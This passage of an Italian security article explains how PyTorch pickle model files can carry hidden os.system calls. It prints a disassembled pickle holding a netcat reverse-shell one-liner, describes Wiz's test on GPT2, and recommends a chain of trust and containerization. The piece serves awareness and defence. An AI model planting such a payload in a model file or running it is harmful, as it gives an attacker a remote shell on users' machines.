379: X BINUNICODE ‘ignore’
390: q BINPUT 38
392: c GLOBAL ‘posix system’
406: q BINPUT 39
408: X BINUNICODE “rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f”
474: q BINPUT 40
476: \x85 TUPLE1
477: q BINPUT 41
479: R REDUCE
480: q BINPUT 42
482: u SETITEMS (MARK at 33)
Quello che stiamo serializzando non è semplicemente la stringa del comando shell da eseguire, ma proprio la chiamata alla funzione os.system, quindi Pickle quando esegue il bytecode finisce per lanciare direttamente il comando sulla shell di sistema. A essere inserito nel file Pickle è infatti proprio il codice della funzione os.system se scriviamo:
return os.system()
la funzione viene eseguita e otteniamo solo il suo output.
Se invece scriviamo:
return os.system
otteniamo un puntamento alla funzione stessa, pronta per essere eseguita in un secondo momento. E quel momento arriva quando il Pickle viene deserializzato e caricato in memoria. I ricercatori di Wiz, società di sicurezza informatica, hanno provato a prendere addirittura un modello realmente funzionante, GPT2, e aggiungere delle istruzioni alla fine, proprio per eseguire dei comandi sulla shell. E funziona perfettamente, senza nemmeno provocare errori durante il caricamento nella rete neurale di PyTorch. Questo significa che l’utente che scarica e esegue il modello sul proprio PC o server non si accorge nemmeno di quello che sta succedendo: dal suo punto di vista, il modello linguistico funziona correttamente.
Entità della vulnerabilità
Visto il gran numero di utenti e aziende che provano a utilizzare reti neurali generative, e visto che i modelli Pickle per PyTorch sono di fatto il principale standard in questo campo, il pericolo è piuttosto diffuso. Ma è importante ricordare che non tutti i modelli disponibili su HuggingFace sono malevoli. In particolare, non lo sono di certo quelli prodotti da grandi aziende o da community open source. Sicuramente, il fatto che siano binari rende difficile persino per i gestori di Hugging Face scansionarli alla ricerca di malware. E, considerando anche il fatto che i modelli generativi vengono tipicamente, utilizzati su macchine (fisiche o virtuali) piuttosto potenti, c’è il rischio che qualche malintenzionato possa mettere in circolare un modello che gli offre delle shell remote, per ritrovarsi così con una grossa botnet al suo comando.
La soluzione
Essendo questa possibilità di inserire chiamate di sistema dentro un file Pickle, una normale caratteristica del formato, non c’è una vera soluzione. L’unico modo per essere protetti è una catena di fiducia tra tutti i vari passaggi, dal primo autore del modello a chi lo ha integrato allenandolo con altri dataset. Spesso, infatti, si trovano versioni “personalizzate” di modelli pubblicamente disponibili, più adatte a qualche particolare contesto (per esempio, allenate con documenti medici, oppure sportivi). È spesso questi modelli vengono rielaborati e integrati a loro volta. Ma basta che uno di questi “intermediari” non sia affidabile per rendere potenzialmente insicuro il modello finale. Bisogna ripensare ai tempi in cui si scaricavano eseguibili crackati da eMule: quante volte è capitato di provare a eseguire l’ultima versione di Photoshop, solo per accorgersi che in realtà (nella migliore delle ipotesi) era uno spyware che farciva il browser di banner e popup, magari inviando anche email di spam a tutti i contatti? Quando utilizziamo un software senza conoscerne la provenienza dobbiamo sempre mettere in conto la possibilità che chi ce lo ha condiviso possa averci inserito un malware. Un modo per, letteralmente, contenere i potenziali danni è la containerizzazione. Se, infatti, PyTorch e il modello vengono caricati dentro un container a se stante, separato dal resto delle applicazioni che lo andranno a utilizzare, è possibile limitare le risorse che potrà utilizzare, eventualmente impedirne l’accesso a internet (evitando shell remote), e soprattutto evitare un accesso diretto a file sensibili (che verranno passati al momento via API e tenuti in memoria solo per il tempo di elaborazione).
A cura di Luca Tringali
Leggi anche: “La cybersecurity nell’era dell’IA“
-
News3 anni ago
Hacker Journal 280
-
News7 anni ago
Abbonati ad Hacker Journal!
-
Articoli2 anni ago
Parrot Security OS: Linux all’italiana- La distro superblindata
-
Articoli4 anni ago
Guida: Come accedere al Dark Web in modo Anonimo
-
Articoli7 anni ago
Superare i firewall
-
News5 anni ago
Le migliori Hacker Girl di tutto il mondo
-
Articoli6 anni ago
Come Scoprire password Wi-Fi con il nuovo attacco su WPA / WPA2
-
News7 anni ago
Accademia Hacker Journal